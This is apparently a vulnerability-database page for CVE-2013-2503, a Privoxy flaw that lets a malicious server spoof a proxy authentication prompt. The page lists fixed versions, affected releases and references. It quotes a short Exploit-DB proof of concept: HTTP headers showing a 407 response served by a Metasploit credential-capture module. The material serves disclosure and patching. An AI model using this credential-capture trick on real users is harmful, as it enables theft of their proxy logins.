CVE-2013-2503
Description
Privoxy before 3.0.21 does not properly handle Proxy-Authenticate and Proxy-Authorization headers in the client-server data stream, which makes it easier for remote HTTP servers to spoof the intended proxy service via a 407 (aka Proxy Authentication Required) HTTP status code.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Privoxy Proxy - Authentication Information Disclosure
source: https://www.securityfocus.com/bid/58425/info
Privoxy is prone to multiple information-disclosure vulnerabilities.
Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This may aid in further attacks.
Privoxy 3.0.20 is affected; other versions may also be vulnerable.
Response Code (current).: 407
Response Headers (as seen by your browser).:
HTTP/1.1 407 Proxy Authentication Required
Date: Mon, 11 Mar 2013 17:01:59 GMT
Server: ./msfcli auxiliary/server/capture/http set SRVPORT=80
Proxy-Authenticate: Basic
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 571
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Request Headers (as seen by the remote website)
Host: c22.cc
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/
Connection: keep-alive
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.0.21-1 |
| sid | Fixed | 3.0.21-1 |
| forky | Fixed | 3.0.21-1 |
| bullseye | Fixed | 3.0.21-1 |
| bookworm | Fixed | 3.0.21-1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| privoxy | privoxy | {"endIncluding":"3.0.20"} | |
| privoxy | privoxy | 2.9.0 | |
| privoxy | privoxy | 2.9.1 | |
| privoxy | privoxy | 2.9.2 | |
| privoxy | privoxy | 2.9.3 | |
| privoxy | privoxy | 2.9.11 | |
| privoxy | privoxy | 2.9.12 | |
| privoxy | privoxy | 2.9.13 | |
| privoxy | privoxy | 2.9.14 | |
| privoxy | privoxy | 2.9.16 | |
| privoxy | privoxy | 2.9.18 | |
| privoxy | privoxy | 3.0 | |
| privoxy | privoxy | 3.0.2 | |
| privoxy | privoxy | 3.0.3 | |
| privoxy | privoxy | 3.0.5 | |
| privoxy | privoxy | 3.0.6 | |
| privoxy | privoxy | 3.0.7 | |
| privoxy | privoxy | 3.0.8 | |
| privoxy | privoxy | 3.0.9 | |
| privoxy | privoxy | 3.0.10 | |
| privoxy | privoxy | 3.0.11 | |
| privoxy | privoxy | 3.0.12 | |
| privoxy | privoxy | 3.0.13 | |
| privoxy | privoxy | 3.0.14 | |
| privoxy | privoxy | 3.0.15 | |
| privoxy | privoxy | 3.0.16 | |
| privoxy | privoxy | 3.0.17 | |
| privoxy | privoxy | 3.0.18 | |
| privoxy | privoxy | 3.0.19 | |
References
- https://www.suse.com/security/cve/CVE-2013-2503.html
- http://blog.c22.cc/2013/03/11/privoxy-proxy-authentication-credential-exposure-cve-2013-2503/
- http://ijbswa.cvs.sourceforge.net/viewvc/ijbswa/current/ChangeLog?revision=1.188&view=markup
- http://lists.opensuse.org/opensuse-updates/2013-03/msg00118.html
- https://security-tracker.debian.org/tracker/CVE-2013-2503
CWEs
CWE-20
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.